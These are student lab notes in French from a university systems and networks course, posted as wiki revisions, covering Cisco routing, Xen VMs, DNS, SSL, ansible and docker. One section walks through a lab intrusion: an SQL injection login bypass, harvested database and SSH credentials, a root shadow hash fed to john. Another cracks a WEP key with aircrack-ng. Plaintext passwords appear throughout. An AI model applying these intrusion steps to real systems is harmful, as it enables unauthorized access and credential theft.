 IMA5sc-R1#ping 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Le ping fonctionne.&lt;br /&gt;
&lt;br /&gt;
Pour le C9200 :&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp pool groupe7&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#dns 193.48.57.182&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#network 10.60.107.0 255.255.255.0&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#default-router 10.60.107.2&lt;br /&gt;
 IMA5sc-R2(dhcp-config)#exit&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.0 10.60.107.49&lt;br /&gt;
 IMA5sc-R2(config)#ip dhcp excluded-address 10.60.107.100 10.60.107.255&lt;br /&gt;
 IMA5sc-R2(config)#exit&lt;br /&gt;
 IMA5sc-R2#sh ip dhcp binding&lt;br /&gt;
&lt;br /&gt;
Mise en place de la mascarade (vlan131 -&amp;gt; vlan pour se connecter au routeur):&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 307&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat inside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# int vlan 131&lt;br /&gt;
 IMA5sc-R1(config-if)# ip nat outside&lt;br /&gt;
&lt;br /&gt;
 IMA5sc-R1(config)# access-list 107 permit ip 10.60.107.0 0.0.0.255 any&lt;br /&gt;
 IMA5sc-R1(config)# ip nat inside source list 107 interface vlan 131 overload&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Création du vlan sur les routeurs&lt;br /&gt;
 vlan 307&lt;br /&gt;
&lt;br /&gt;
==Configuration WLC==&lt;br /&gt;
&lt;br /&gt;
Utilisation de bornes Cisco 2802i&lt;br /&gt;
&lt;br /&gt;
Connection via minicom -os (9600 bauds)&lt;br /&gt;
&lt;br /&gt;
 enable &lt;br /&gt;
 capwap ap ip &amp;lt;ip&amp;gt; &amp;lt;netmask&amp;gt; &amp;lt;gateway&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==Intrusion honey.plil.info ==&lt;br /&gt;
&lt;br /&gt;
pour avoir les identifiants de l'admin : ID = ' OR '1'='1 et MDP = ' OR '1'='1&lt;br /&gt;
&lt;br /&gt;
Admin : admin	jesuislechef	admin	Administrateur&lt;br /&gt;
&lt;br /&gt;
Creer le fichier  etc/phpmyadmin/config-db.php&lt;br /&gt;
en allant dans l'onglet: .... on telecharge le fichier qu'on a crée : &lt;br /&gt;
 &amp;lt;?php&lt;br /&gt;
 ##&lt;br /&gt;
 ## database access settings in php format&lt;br /&gt;
 ## automatically generated from /etc/dbconfig-common/phpmyadmin.conf&lt;br /&gt;
 ## by /usr/sbin/dbconfig-generate-include&lt;br /&gt;
 ##&lt;br /&gt;
 ## by default this file is managed via ucf, so you shouldn't have to&lt;br /&gt;
 ## worry about manual changes being silently discarded.  *however*,&lt;br /&gt;
 ## you'll probably also want to edit the configuration file mentioned&lt;br /&gt;
 ## above too.&lt;br /&gt;
 ##&lt;br /&gt;
 $dbuser='phpmyadmin';&lt;br /&gt;
 $dbpass='gencovid19';&lt;br /&gt;
 $basepath='';&lt;br /&gt;
 $dbname='phpmyadmin';&lt;br /&gt;
 $dbserver='localhost';&lt;br /&gt;
 $dbport='3306';&lt;br /&gt;
 $dbtype='mysql';&lt;br /&gt;
&lt;br /&gt;
on reccupere user et mdp pour acceder a la page http://honey.plil.info/phpmyadmin/ &lt;br /&gt;
connexion id : root&lt;br /&gt;
mdp: gencovid19&lt;br /&gt;
&lt;br /&gt;
une fois connecter on recherche les identifiants des utilisateurs ssh :&lt;br /&gt;
id = rex &lt;br /&gt;
mdp: &lt;br /&gt;
&lt;br /&gt;
connexion ssh : ssh rex@honey.plil.info&lt;br /&gt;
 /etc/shadow pour trouver la cle de cryptage du mdp root &lt;br /&gt;
 copier la cle et la mettre dans un fichier (exemple :temp): root:$6$yCvXnJp4SOQwQaxV$vRYUr1fwU1SAPxZ0NbdIw/03ypGXjjRjZKRfX3sa7T2v9XnbI4xG.EyEtcrtASLlvqxuh9Hr6TrOB5Szopd6m/:18525:0:99999:7:::&lt;br /&gt;
 installation de john &lt;br /&gt;
 john nom du fichier&lt;br /&gt;
&lt;br /&gt;
pour aller plus rapidement creer un dictionnaire a partir des indices donnés  : motif doublé 'le mot de passe de root possède la même particularité que le mot de passe administrateur habituel des machines de projets'&lt;br /&gt;
utiliseer crunch?&lt;br /&gt;
&lt;br /&gt;
== Cassage de clef WEP d’un point d’accès WiFi ==&lt;br /&gt;
&lt;br /&gt;
On utilise le paquet aircrack-ng.&lt;br /&gt;
&lt;br /&gt;
La commande&lt;br /&gt;
 airmon-ng&lt;br /&gt;
permet de voir le nom du réseau sans fil: wlan0mon&lt;br /&gt;
&lt;br /&gt;
 airmon-ng start wlan0mon&lt;br /&gt;
&lt;br /&gt;
On scanne les réseaux :&lt;br /&gt;
 airodump-ng --encrypte wep wlan0mon&lt;br /&gt;
&lt;br /&gt;
On choisi un réseau parmi ceux disponibles. Par exemple la cracotte08 est sur le canal 7 et a pour BSSID 04:DA:D2:9C:50:57.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep1.png|600px]]&lt;br /&gt;
&lt;br /&gt;
On lance avec la commande :&lt;br /&gt;
&lt;br /&gt;
 airodump-ng --write testwep --channel 7 --bssid 04:DA:D2:9C:50:57 wlan0mon&lt;br /&gt;
&lt;br /&gt;
 aircrack-ng -z testwep-01.cap&lt;br /&gt;
&lt;br /&gt;
[[Fichier:capturewep2.png|600px]]&lt;br /&gt;
&lt;br /&gt;
==Ferme de serveurs web==&lt;br /&gt;
&lt;br /&gt;
===Architecture générale de la ferme===&lt;br /&gt;
&lt;br /&gt;
On travaille avec deux machines virtuelles, l'une sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (celle mise en place en PRA), l'autre sur le serveur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
On ferme la machine virtuelle sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; (&amp;lt;code&amp;gt;halt&amp;lt;/code&amp;gt;) pour modifier le fichier de configuration &amp;lt;code&amp;gt;girolle.cfg&amp;lt;/code&amp;gt;.&lt;br /&gt;
On ajoute à la ligne vif &amp;lt;code&amp;gt;'mac=@MAC incrémenté de 1, bridge=bridgeStudents'&amp;lt;/code&amp;gt; avant de la relancer.&lt;br /&gt;
&lt;br /&gt;
'''Interfaces'''&lt;br /&gt;
&lt;br /&gt;
On associe l'adresse IP &amp;lt;code&amp;gt;192.186.42.21&amp;lt;/code&amp;gt; à la VM sur le serveur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;. Pour cela on l'ajoute dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
&lt;br /&gt;
 auto eth1&lt;br /&gt;
 iface eth1 inet static&lt;br /&gt;
   address 192.168.42.21 &lt;br /&gt;
   netmask 255.255.255.0&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on ajoute une interface dans &amp;lt;code&amp;gt;/etc/network/interfaces&amp;lt;/code&amp;gt; :&lt;br /&gt;
 auto eth0&lt;br /&gt;
 iface eth0 inet static&lt;br /&gt;
   address 192.168.42.7&lt;br /&gt;
   netmask 255.255.255.0 &lt;br /&gt;
   gateway 192.168.42.21&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Le ping entre leux deux machine se fait.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Mascarade'''&lt;br /&gt;
&lt;br /&gt;
On met en place une mascarade pour que la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; ait accès à internet :&lt;br /&gt;
&lt;br /&gt;
 iptables -P FORWARD DROP&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -s 192.168.42.7/32&lt;br /&gt;
 iptables -A FORWARD -j ACCEPT -d 192.168.42.7/32&lt;br /&gt;
 iptables -t nat -A POSTROUTING -j SNAT -s 192.168.42.7/32 --to-source 193.48.57.182&lt;br /&gt;
 iptables-save&lt;br /&gt;
 echo 1 &amp;gt; /proc/sys/net/ipv4/ip_forward&lt;br /&gt;
&lt;br /&gt;
'''Mise en place d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
Installation d'&amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; sur la VM de &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
Création des clés avec la commande &amp;lt;code&amp;gt;ssh-keygen -t rsa&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On ajoute la clé public sur toutes les machines de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; :&lt;br /&gt;
 cat id_rsa.pub | ssh root@192.168.42.7 'cat &amp;gt;&amp;gt; .ssh/authorized_keys2'&lt;br /&gt;
&lt;br /&gt;
Installation de Python sur la VM de &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt; (Attention à installer uniquement python3 et ne pas avoir de versions antérieurs pour éviter les conflits de version).&lt;br /&gt;
 apt install python3&lt;br /&gt;
 ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
&lt;br /&gt;
L'utilitaire &amp;lt;code&amp;gt;ansible&amp;lt;/code&amp;gt; permet d'organiser le projet en plusieurs parties. Les manipulations se font majoritairement sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Inventaire'''&lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt;, on crée un inventaire dans &amp;lt;code&amp;gt;/etc/ansible/hosts&amp;lt;/code&amp;gt;. en séparant notre serveur seul des autres (dont le notre).&lt;br /&gt;
 [self]&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
 [webinterne]&lt;br /&gt;
 192.168.42.2&lt;br /&gt;
 192.168.42.4&lt;br /&gt;
 192.168.42.5&lt;br /&gt;
 192.168.42.7&lt;br /&gt;
 192.168.42.9&lt;br /&gt;
 192.168.42.12&lt;br /&gt;
&lt;br /&gt;
'''Playbook et roles'''&lt;br /&gt;
&lt;br /&gt;
On crée plusieurs rôles qui sont lancés via un playbook (&amp;lt;code&amp;gt;/root/playbooks/&amp;lt;/code&amp;gt;). Chaque rôle à son propre sous-répertoire (&amp;lt;code&amp;gt;/etc/ansible/roles&amp;lt;/code&amp;gt;).&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;basic&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;files&amp;lt;/code&amp;gt; qui contient la configuration mymotd_conf et ntp.conf&lt;br /&gt;
** mymotd_conf : On met ce que l'on veut afficher dedans&lt;br /&gt;
** ntp.conf : Fichier récupéré auquel on ajoute le serveur NTP et les IP&lt;br /&gt;
 # You do need to talk to an NTP server or two (or three).&lt;br /&gt;
 #server ntp.your-provider.example&lt;br /&gt;
 server ntp.plil.info&lt;br /&gt;
 ...&lt;br /&gt;
 # Local users may interrogate the ntp server more closely.&lt;br /&gt;
 restrict 127.0.0.1&lt;br /&gt;
 restrict ::1&lt;br /&gt;
 restrict 192.168.42.21&lt;br /&gt;
 restrict 192.168.42.7&lt;br /&gt;
&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : gestion packages&lt;br /&gt;
   apt:&lt;br /&gt;
     update_cache: yes&lt;br /&gt;
     name: &amp;quot;{{ packages } }&amp;quot;&lt;br /&gt;
   vars:&lt;br /&gt;
     packages:&lt;br /&gt;
      - python3&lt;br /&gt;
      - python3-pip&lt;br /&gt;
      - ntpdate&lt;br /&gt;
      - ntp&lt;br /&gt;
 &lt;br /&gt;
 - name : gestion packages pip&lt;br /&gt;
   pip:&lt;br /&gt;
      name:&lt;br /&gt;
         - docker&lt;br /&gt;
 - name: lien symbolique&lt;br /&gt;
   command: ln -sf /usr/bin/python3 /usr/bin/python&lt;br /&gt;
 &lt;br /&gt;
 - name: motd&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/mymotd_conf&lt;br /&gt;
      dest: /etc/motd&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644' &lt;br /&gt;
&lt;br /&gt;
 - name: config ntp&lt;br /&gt;
   copy:&lt;br /&gt;
      src: /etc/ansible/roles/basic/files/ntp.conf&lt;br /&gt;
      dest: /etc/ntp.conf&lt;br /&gt;
      owner: root&lt;br /&gt;
      group: root&lt;br /&gt;
      mode: '0644'&lt;br /&gt;
&lt;br /&gt;
Ce rôle permet de configurer le motd et le NTP. Il permet également d'installer les packages nécessaires.&lt;br /&gt;
&lt;br /&gt;
===Installation de &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt;===&lt;br /&gt;
&lt;br /&gt;
On installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; par l'intermédiaire du playbook sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;. Pour cela on utilise un rôle déjà créé par &amp;lt;code&amp;gt;geerlingguy&amp;lt;/code&amp;gt;. Les variables docker_&amp;lt;code&amp;gt;apt_gpg_key&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker_apt_repository&amp;lt;/code&amp;gt; permettent que le rôle se comporte comme si la VM est sous debian version buster.&lt;br /&gt;
&lt;br /&gt;
'''Playbook &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot; &lt;br /&gt;
&lt;br /&gt;
===Création du conteneur===&lt;br /&gt;
&lt;br /&gt;
On met en place un conteneur qui contient notre site web et démarre apache2 sur le port 80.&lt;br /&gt;
En premier lieu on installe &amp;lt;code&amp;gt;docker&amp;lt;/code&amp;gt; sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; avec &amp;lt;code&amp;gt;wget get.docker.com&amp;lt;/code&amp;gt;&lt;br /&gt;
&lt;br /&gt;
'''Dockerfile'''&lt;br /&gt;
&lt;br /&gt;
Il faut ensuite réaliser un &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt; toujours sur &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; :&lt;br /&gt;
 FROM httpd:latest&lt;br /&gt;
 MAINTAINER NourClara&lt;br /&gt;
 COPY ./index.html /usr/local/apache2/htdocs/&lt;br /&gt;
 CMD [ &amp;quot;httpd&amp;quot;, &amp;quot;-D&amp;quot;, &amp;quot;FOREGROUND&amp;quot; ]&lt;br /&gt;
Le fichier &amp;lt;code&amp;gt;index.html&amp;lt;/code&amp;gt; dans lequel se trouve le contenu du site web doit se trouver dans le même répertoire que le &amp;lt;code&amp;gt;dockerfile&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Construction et lancement de l'image docker'''&lt;br /&gt;
&lt;br /&gt;
 docker build -t webserver .&lt;br /&gt;
On aurait pu mettre girolle au lieu de webserver par exemple.&lt;br /&gt;
 docker run -d webserver&lt;br /&gt;
&lt;br /&gt;
On vérifie que l'image est construite et lancée correctement avec les commandes &amp;lt;code&amp;gt;docker images&amp;lt;/code&amp;gt; et &amp;lt;code&amp;gt;docker ps -a&amp;lt;/code&amp;gt;.&lt;br /&gt;
&lt;br /&gt;
'''Dépôt docker local''' &lt;br /&gt;
&lt;br /&gt;
Sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;, on installe un dépôt local qui accueillera notre image docker.&lt;br /&gt;
 docker run -d -p 5000:5000 --restart always --name registry registry:2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;registry&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; qui contient un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name: Setup registry&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: registry&lt;br /&gt;
           image: registry&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;5000:5000&amp;quot;&lt;br /&gt;
&lt;br /&gt;
'''Autorisation d'un dépôt non sécurisé'''&lt;br /&gt;
&lt;br /&gt;
Par défaut, la connexion se fait en HTTPS. Comme ici les différents dépôts ne sont pas sécurisés, on doit autoriser la connexion en HTTP. Pour cela, on ajoute un fichier deamon.json sur nos deux machines dans &amp;lt;code&amp;gt;/etc/docker/&amp;lt;/code&amp;gt; :&lt;br /&gt;
 {&lt;br /&gt;
   &amp;quot;insecure-registries&amp;quot; : [&amp;quot;192.168.42.2:5000&amp;quot;, &amp;quot;192.168.42.4:5000&amp;quot;, &amp;quot;192.168.42.5:5000&amp;quot;, &amp;quot;192.168.42.7:5000&amp;quot;, &amp;quot;192.168.42.9:5000&amp;quot;, &amp;quot;192.168.42.12:5000&amp;quot;]&lt;br /&gt;
 }&lt;br /&gt;
Puis &amp;lt;code&amp;gt;service docker restart&amp;lt;/code&amp;gt; pour que le changement soit pris en compte.&lt;br /&gt;
&lt;br /&gt;
'''Exportation depuis &amp;lt;code&amp;gt;capbreton&amp;lt;/code&amp;gt; vers la VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker tag webserver 192.168.42.7:5000/webserver&lt;br /&gt;
 docker push 192.168.42.7:5000/webserver&lt;br /&gt;
&lt;br /&gt;
'''Récupération de l'image docker dans &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;'''&lt;br /&gt;
&lt;br /&gt;
 docker pull 192.168.42.7:5000/piedbleu&lt;br /&gt;
&lt;br /&gt;
===Configuration des serveurs internes===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Rôle &amp;lt;code&amp;gt;deployer&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
* &amp;lt;code&amp;gt;tasks&amp;lt;/code&amp;gt; avec un &amp;lt;code&amp;gt;main.yml&amp;lt;/code&amp;gt;&lt;br /&gt;
 - name : deployer sur les VMs&lt;br /&gt;
   docker_container:&lt;br /&gt;
           name: site&lt;br /&gt;
           image: 192.168.42.7:5000/webserver&lt;br /&gt;
           ports:&lt;br /&gt;
                   - &amp;quot;8087:80&amp;quot;  &lt;br /&gt;
&amp;lt;code&amp;gt;image&amp;lt;/code&amp;gt; : là où se trouve notre serveur web à déployer (sur notre VM sur &amp;lt;code&amp;gt;chassiron&amp;lt;/code&amp;gt;)&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''Playbook complet &amp;lt;code&amp;gt;first_play.yml&amp;lt;/code&amp;gt; :'''&lt;br /&gt;
 ---&lt;br /&gt;
 - name: Premiere playbook&lt;br /&gt;
   hosts: self&lt;br /&gt;
   roles:&lt;br /&gt;
     - basic &lt;br /&gt;
     - geerlingguy.docker&lt;br /&gt;
     - registry&lt;br /&gt;
   vars:&lt;br /&gt;
     docker_apt_gpg_key: &amp;quot;https://download.docker.com/linux/debian/gpg&amp;quot;&lt;br /&gt;
     docker_apt_repository: &amp;quot;deb [arch={ { docker_apt_arch }}] https://download.docker.com/linux/debian buster {{ docker_apt_release_channel } }&amp;quot;    &lt;br /&gt;
 &lt;br /&gt;
 &lt;br /&gt;
 - name: Deploiement&lt;br /&gt;
   hosts: webinterne&lt;br /&gt;
   roles:&lt;br /&gt;
      - deployer&lt;br /&gt;
&lt;br /&gt;
===Équilibreur de charge (load balancer)===&lt;/div&gt;</summary>
		<author><name>Cbisalli</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55008</id>
		<title>TP sysres IMA5sc 2020/2021 G7</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5sc_2020/2021_G7&amp;diff=55008"/>
				<updated>2020-12-18T22:32:57Z</updated>
		
		<summary type="html">&lt;p&gt;Cbisalli : /* Ferme de serveurs web */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;&lt;br /&gt;
== Explication Infrastructure ==&lt;br /&gt;
&lt;br /&gt;
==Installation VM==&lt;br /&gt;
&lt;br /&gt;
Connexion ssh:&lt;br /&gt;
 ssh pifou@capbreton.plil.info&lt;br /&gt;
&lt;br /&gt;
Commande (en root su -):&lt;br /&gt;
 xen-create-image --hostname=girolle --ip=100.64.0.24 --netmask=255.255.255.240 --dist=buster --dir=/usr/local/xen --password=glopglop --force&lt;br /&gt;
&amp;lt;br&amp;gt; MAJ gateway : 161&lt;br /&gt;
&amp;lt;br&amp;gt;Nom de domaine: girolle.site&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse IP : 100.64.0.24 MAJ: 193.48.57.172&lt;br /&gt;
&amp;lt;br&amp;gt;Netmask: 255.255.255.240 MAJ: 255.255.255.224&lt;br /&gt;
&amp;lt;br&amp;gt;Adresse MAC : 00:16:3E:3E:E3:15&lt;br /&gt;
&lt;br /&gt;
Repartition des volumes logiques : &lt;br /&gt;
 lvdisplay &lt;br /&gt;
 lvrename &lt;br /&gt;
&lt;br /&gt;
Dans le fichier de configuration de la machine : girolle.cfg&lt;br /&gt;
on rajoute var et home :&lt;br /&gt;
lignes 'phy:/.../xdva3'&lt;br /&gt;
 &lt;br /&gt;
&lt;br /&gt;
Commandes pour creer et acceder a la VM :&lt;br /&gt;
&lt;br /&gt;
 xl create -c etc/xen/girolle.cfg&lt;br /&gt;
 '''xl console girolle'''&lt;br /&gt;
&lt;br /&gt;
Commandes sur la vm: &lt;br /&gt;
&lt;br /&gt;
dans etc/fstab il faut indiquer les fonctionnalites de xvda3 et xvda4 &lt;br /&gt;
&lt;br /&gt;
au prealable il faut &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
1) formater la partition : &lt;br /&gt;
 mkfs -t ext4 /dev/xvda4&lt;br /&gt;
&lt;br /&gt;
2) Monter la partition que l'on veut sur /mnt &lt;br /&gt;
 mount /dev/xvda4 /mnt&lt;br /&gt;
3) Migrer tout le contenu de var dans mnt &lt;br /&gt;
 cd /var&lt;br /&gt;
 mv * /mnt&lt;br /&gt;
&lt;br /&gt;
4) Dans le fichier fstab rajouter :&lt;br /&gt;
 /dev/xvda4 /var ext4 defaults 0 2&lt;br /&gt;
&lt;br /&gt;
5) Unmout mnt &lt;br /&gt;
 umount /mnt&lt;br /&gt;
&lt;br /&gt;
6) Monter tout sur dev/xdva&lt;br /&gt;
 mount -a &lt;br /&gt;
7)Verification &lt;br /&gt;
 df&lt;br /&gt;
 dpkg -l&lt;br /&gt;
&lt;br /&gt;
== Activation connexion ssh ==&lt;br /&gt;
&lt;br /&gt;
On modifie le fichier /etc/ssh/sshd_config&lt;br /&gt;
&lt;br /&gt;
On décommente la ligne PermissionRoot :  &lt;br /&gt;
 # Authentication:&lt;br /&gt;
 #LoginGraceTime 2m&lt;br /&gt;
 PermitRootLogin yes&lt;br /&gt;
&lt;br /&gt;
Puis on l'active avec la commande :&lt;br /&gt;
 service sshd restart&lt;br /&gt;
&lt;br /&gt;
On peut se connecter à la machine par ssh root@girolle.site (mot de passe root habituel)&lt;br /&gt;
&lt;br /&gt;
==Redirection DNS==&lt;br /&gt;
&lt;br /&gt;
=== Sur Gandi ===&lt;br /&gt;
&lt;br /&gt;
Achat d'un nom de domaine : girolle.site&lt;br /&gt;
Création d'un Glue Record : 193.48.57.182&lt;br /&gt;
&lt;br /&gt;
Serveur DNS primaire : ns1.girolle.site (193.48.57.182)&lt;br /&gt;
Serveur DNS secondaire : ns6.gandi.net (217.70.177.40)&lt;br /&gt;
&lt;br /&gt;
=== Sur la machine virtuelle ===&lt;br /&gt;
&lt;br /&gt;
Installation de bind9&lt;br /&gt;
On modifie les fichiers dans /etc/bind/named.conf.&lt;br /&gt;
Dans /etc/bind/named.conf.options&lt;br /&gt;
 options {&lt;br /&gt;
   directory &amp;quot;/etc/bind&amp;quot;;&lt;br /&gt;
   listen-on-v6 { any; };&lt;br /&gt;
   allow-transfer { &amp;quot;allowed_to_transfer&amp;quot;; };&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
 acl &amp;quot;allowed_to_transfer&amp;quot; {&lt;br /&gt;
   217.70.177.40/32 ;&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans /etc/bind/named.conf.local&lt;br /&gt;
 zone &amp;quot;girolle.site&amp;quot; {&lt;br /&gt;
   type master;&lt;br /&gt;
   file &amp;quot;girolle.site/girolle&amp;quot;;&lt;br /&gt;
   allow-transfer (217.70.177.40;};&lt;br /&gt;
 };&lt;br /&gt;
&lt;br /&gt;
Dans db.girolle.site&lt;br /&gt;
 ;&lt;br /&gt;
 ; BIND data file for local loopback interface&lt;br /&gt;
 ;&lt;br /&gt;
 $TTL    604800&lt;br /&gt;
 @       IN      SOA      ns1.girolle.site.  postmaster.girolle.site(&lt;br /&gt;
                              2         ; Serial&lt;br /&gt;
                         604800         ; Refresh&lt;br /&gt;
                          86400         ; Retry&lt;br /&gt;
                        2419200         ; Expire&lt;br /&gt;
                         604800 )       ; Negative Cache TTL&lt;br /&gt;
 ;&lt;br /&gt;
 @       IN      NS      ns1.girolle.site.&lt;br /&gt;
 @       IN      NS      ns6.gandi.net.&lt;br /&gt;
 ns1     IN      A       193.48.57.182&lt;br /&gt;
 @       IN      MX      100 girolle.site.&lt;br /&gt;
&lt;br /&gt;
 www      IN      CNAME   ns1&lt;br /&gt;
&lt;br /&gt;
Puis pour le relancer :&lt;br /&gt;
 service bind9 restart&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Configuration pour la réception du mail de confirmation du certificat SSL&lt;br /&gt;
Installer Postfixe pour avoir accès au fichier aliases&lt;br /&gt;
 Internet Site&lt;br /&gt;
 girolle.site&lt;br /&gt;
&lt;br /&gt;
Dans /etc/aliases&lt;br /&gt;
 admin: root&lt;br /&gt;
&lt;br /&gt;
Puis ajouter dans newaliases&lt;br /&gt;
Cela va permettre de récupérer le mail de confirmation de Gandi envoyé à admin@girolle.site&lt;br /&gt;
&lt;br /&gt;
https://www.jeffgeerling.com/blogs/jeff-geerling/viewing-email-linux-using&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Installation de mailx pour lire les mails reçus&lt;br /&gt;
 apt-install bsd-mailx&lt;br /&gt;
Pour consulter le mail de vérification&lt;br /&gt;
 mailx admin&lt;br /&gt;
&lt;br /&gt;
=== Sécurisation par certificat SSL ===&lt;br /&gt;
&lt;br /&gt;
Génération du CSR à l'aide d'openssl&lt;br /&gt;
 openssl req -nodes -newkey rsa:2048 -sha256 -keyout girolle.site.key -out girolle.site.csr&lt;br /&gt;
&lt;br /&gt;
Réception du mail de vérification avec une URL et un mot de passe ce qui nous permet de récupérer le fichier girolle.site.crt&lt;br /&gt;
&lt;br /&gt;
Configuration du serveur apache2&lt;br /&gt;
&lt;br /&gt;
Activation du ssl sur apache2 &lt;br /&gt;
 ae2enmod ssl&lt;br /&gt;
&lt;br /&gt;
Ajout dans le fichier 000-default.conf dans /etc/apache2/sites-available&lt;br /&gt;
&amp;lt;VirtualHost *:80&amp;gt;                                                                                                         &lt;br /&gt;
  ServerName www.girolle.site                                                                                             &lt;br /&gt;
  Redirect / https://www.girolle.site       &lt;br /&gt;
  ....                                                                        &lt;br /&gt;
&amp;lt;/VirtualHost&amp;gt; &lt;br /&gt;
&lt;br /&gt;
 &amp;lt;VirtualHost 193.48.57.182:443&amp;gt;&lt;br /&gt;
     DocumentRoot /var/www/html2&lt;br /&gt;
     ServerName girolle.site&lt;br /&gt;
         SSLEngine on&lt;br /&gt;
         SSLCertificateFile /root/girolle.site.crt&lt;br /&gt;
         SSLCertificateKeyFile /root/girolle.site.key&lt;br /&gt;
         SSLCertificateChainFile /root/GandiCA.pem&lt;br /&gt;
     &amp;lt;/VirtualHost&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verifications:&lt;br /&gt;
 host -t soa girolle.site ns6.gandi.net&lt;br /&gt;
 Sur Zabeth : host www.girolle.site&lt;br /&gt;
&lt;br /&gt;
===Sécurisation de serveur DNS par DNSSEC===&lt;br /&gt;
&lt;br /&gt;
On ajoute l’option dnssec-enable yes; dans le fichier named.conf.options&lt;br /&gt;
On crée ensuite un dossier girolle_dnssec pour y stocker les couples de clés générées:&lt;br /&gt;
Une clef asymétrique de signature de clefs de zone &lt;br /&gt;
&lt;br /&gt;
 dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE girolle.site&lt;br /&gt;
  &lt;br /&gt;
&lt;br /&gt;
Une clef asymétrique de la zone pour signer les enregistrements&lt;br /&gt;
&lt;br /&gt;
